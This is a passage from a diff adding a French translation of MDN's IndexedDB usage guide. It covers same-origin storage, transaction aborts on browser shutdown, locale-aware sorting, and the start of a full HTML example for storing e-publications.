+<p><span id="result_box" lang="fr"><span>Vous devriez également écouter les erreurs </span></span> <code>VersionError</code> <span lang="fr"><span> pour gérer le cas où les applications déjà ouvertes déclencheraient un code conduisant à une nouvelle tentative d'ouverture de la base de données, mais en utilisant une version désuète.</span></span></p>
+
+<h2 id="Sécurité">Sécurité</h2>
+
+<p><span id="result_box" lang="fr"><span>IndexedDB utilise le principe "</span></span> same-origin " <span lang="fr"><span><em>(même origine)</em>, ce qui signifie qu'il relie le stockage à l'origine du site qui le crée (généralement, c'est le domaine ou le sous-domaine du site), de sorte qu'il ne peut être consulté par aucune autre origine.</span></span></p>
+
+<p>Le contenu de la fenêtre de tiers (par exemple le contenu de {{htmlelement("iframe")}}) peut accèder à IndexedDB pour l'origine dans laquelle il est intégré, à moins que le navigateur ne soit configuré pour <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">ne jamais accepter de cookies tiers</a> (voir le {{bug("1147821")}}).</p>
+
+<h2 id="Avertissement_concernant_larrêt_du_navigateur"><span class="short_text" id="result_box" lang="fr"><span>Avertissement concernant l'arrêt du navigateur</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Lorsque le navigateur s'arrête (parce que l'utilisateur a choisi l'option Quit ou Exit), le disque contenant la base de données est supprimé de manière inattendue ou les permissions sont perdues dans le magasin de base de données, les choses suivantes se produisent :</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="fr"><span>Chaque transaction sur chaque base de données affectée (ou toutes les bases de données ouvertes, dans le cas de l'arrêt du navigateur) est interrompue avec un </span></span> <code>AbortError</code>. L'effet est le même que si {{domxref("IDBTransaction.abort()")}} est appelé sur chaque transaction.</li>
+ <li><span id="result_box" lang="fr"><span>Une fois toutes les transactions terminées, la connexion à la base de données est fermée</span></span> .</li>
+ <li>Enfin, l'objet {{domxref("IDBDatabase")}} <span id="result_box" lang="fr"><span>représentant la connexion à la base de données reçoit un</span></span> évènement {{event("close")}} . Vous pouvez utiliser un gestionnaire d'évènements  {{domxref("IDBDatabase.onclose")}} pour écouter ces évènements, <span id="result_box" lang="fr"><span>afin de savoir quand une base de données est fermée de façon inattendue</span></span> .</li>
+</ol>
+
+<p><span id="result_box" lang="fr"><span>Le comportement décrit ci-dessus est nouveau et n'est disponible que pour les versions de navigateur suivantes : Firefox 50, Google Chrome 31 (approximativement).</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Avant ces versions de navigateurs, les transactions étaient interrompues silencieusement et aucun événement {{event ("close")}} n'était déclenché, donc il n'y avait aucun moyen de détecter une fermeture de base de données inattendue.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Étant donné que l'utilisateur peut quitter le navigateur à tout moment, cela signifie que vous ne pouvez pas compter sur une transaction particulière à compléter, et sur les navigateurs plus anciens, vous n'êtes même pas informé quand elles ne sont pas terminées.</span> <span>Il y a plusieurs conséquences à ce comportement.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Tout d'abord, vous devez vous occuper de toujours laisser votre base de données dans un état cohérent à la fin de chaque transaction.</span> <span>Par exemple, supposons que vous utilisiez IndexedDB pour stocker une liste d'éléments que l'utilisateur est autorisé à éditer.</span> <span>Vous enregistrez la liste après l'édition en effaçant l'objet de stockage puis en écrivant la nouvelle liste.</span> <span>Si vous effacez l'objet de stockage dans une transaction et que vous écrivez la nouvelle liste dans une autre transaction, il existe un danger : si le navigateur se ferme après l'effacement mais avant l'écriture, votre base de données est  vide.</span> <span>Pour éviter cela, vous devez combiner l'effacement et l'écriture en une seule transaction.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Ensuite, vous ne devez jamais lier les transactions de base de données pour les événements </span></span> unload <em>(déchargement</em>)<span lang="fr"><span>.</span> <span>Si l'événement </span></span> unload <span lang="fr"><span>est déclenché par la fermeture du navigateur, toutes les transactions créées dans le gestionnaire d'événements </span></span>unload<span lang="fr"><span> ne seront jamais terminées.</span> <span>Une approche intuitive, pour le maintien de certaines informations dans les sessions du navigateur, est de le lire à partir de la base de données, lorsque le navigateur (ou une page particulière) est ouvert, le mettre à jour à mesure que l'utilisateur interagit avec le navigateur, puis l'enregistrer dans la base de données lorsque le navigateur (</span> <span>ou page) se ferme.</span> <span>Cependant, cela ne fonctionne pas.</span> <span>Les transactions de la base de données sont créées dans le gestionnaire d'événements </span></span>unload<span lang="fr"><span>, mais comme elles sont asynchrones, elles sont interrompues avant qu'elles puissent s'exécuter.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>En fait, il n'y a aucun moyen de garantir que les transactions IndexedDB seront terminées, même avec un arrêt normal du navigateur.</span> <span>Voir {{bug (870645)}}.</span> <span>Comme solution de rechange pour cette notification d'arrêt normal, vous pouvez suivre vos transactions et ajouter un événement </span></span> <code>beforeunload</code> <span lang="fr"><span> pour avertir l'utilisateur si des transactions ne sont pas encore terminées au moment du déchargement.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Au-moins, avec l'ajout des notifications d'annulation et {{domxref ("IDBDatabase.onclose")}}, vous pouvez savoir quand cela s'est produit.</span></span></p>
+
+<h2 id="Le_tri_et_les_langues">Le tri et les langues</h2>
+
+<p>Mozilla <span id="result_box" lang="fr"><span>a implémenté la capacité d'effectuer un tri des données IndexedDB localisées sur Firefox 43+.</span> <span>Par défaut, IndexedDB n'a pas pris en charge l'internationalisation des chaînes de tri, et était trié comme s'il s'agissait d'un texte anglais.</span> <span>Par exemple, "b", "á", "z", "a" devaient être triés comme suit :</span></span></p>
+
+<ul>
+ <li>a</li>
+ <li>b</li>
+ <li>z</li>
+ <li>á</li>
+</ul>
+
+<p><span id="result_box" lang="fr"><span>ce qui n'est évidemment pas la façon dont les utilisateurs souhaitent que leurs données soient triées - Aaron et Áaron, par exemple, doivent aller l'un à côté de l'autre dans une liste de contacts.</span> <span>L'obtention d'un tri international approprié exige donc que l'ensemble des données soit appelé dans la mémoire et que le tri soit exécuté par le JavaScript côté client, ce qui n'est pas très efficace.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Cette nouvelle fonctionnalité permet aux développeurs de spécifier une "locale" <em>(langue)</em> lors de la création d'un index en utilisant </span></span> {{domxref("IDBObjectStore.createIndex()")}} <span lang="fr"><span> (vérifiez ses paramètres). Dans ce cas, lorsqu'un curseur est utilisé pour itérer sur l'ensemble de données</span> <span>, et si vous souhaitez spécifier un tri local, vous pouvez utiliser un {{domxref ("IDBLocaleAwareKeyRange")}}.</span></span></p>
+
+<p>{{domxref("IDBIndex")}} <span id="result_box" lang="fr"><span>a également eu de nouvelles propriétés qui lui ont été ajoutées pour spécifier la langue :</span></span> <code>locale</code> (retourne la langue si elle est spécifiée, ou null sinon) et <code>isAutoLocale</code> (retourne <code>true</code><em> (vrai)</em> si l'index a été créé avec une "locale auto", <span id="result_box" lang="fr"><span>ce qui signifie que la langue par défaut de la plate-forme est utilisée,</span></span> sinon <code>false</code>).</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette fonctionnalité est couramment cachée derrière une marque (flag) — <span class="short_text" id="result_box" lang="fr"><span>pour l'activer et l'expérimenter, aller à</span></span> <a>about:config</a> et activez <code>dom.indexedDB.experimental</code>.</p>
+</div>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Exemple complet d'IndexedDB</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>IndexedDB Demo: storing blobs, e-publication example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>note<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+        Works and tested with:
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>compat<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>msg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>register-form<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>table</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tbody</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-title<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Title:
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-title<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-title<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Bibliographic ID:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+                <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>note<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>(ISBN, ISSN, etc.)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-year<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Year:
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>number<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-year<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-year<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tbody</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tbody</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-file<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                File image:
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-file<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-file-url<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Online-file image URL:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+                <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>note<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>(same origin URL)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-file-url<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-file-url<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tbody</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>table</span><span class="punctuation token">&gt;</span></span>
+
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button-pane<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>add-button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Add Publication<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>register-form-reset<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>delete-form<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>table</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tbody</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid-to-delete<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Bibliographic ID:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+                <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>note<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>(ISBN, ISSN, etc.)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid-to-delete<span class="punctuation token">"</span></span>
+                     <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-biblioid-to-delete<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>key-to-delete<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+                Key:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+                <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>note<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>(for example 1, 2, 3, etc.)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>
+              <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>key-to-delete<span class="punctuation token">"</span></span>
+                     <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>key-to-delete<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+            <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tbody</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>table</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button-pane<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>delete-button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Delete Publication<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>clear-store-button<span class="punctuation token">"</span></span>
+               <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Clear the whole store<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>destructive<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>search-form<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button-pane<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>search-list-button<span class="punctuation token">"</span></span>
+               <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>List database content<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-msg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
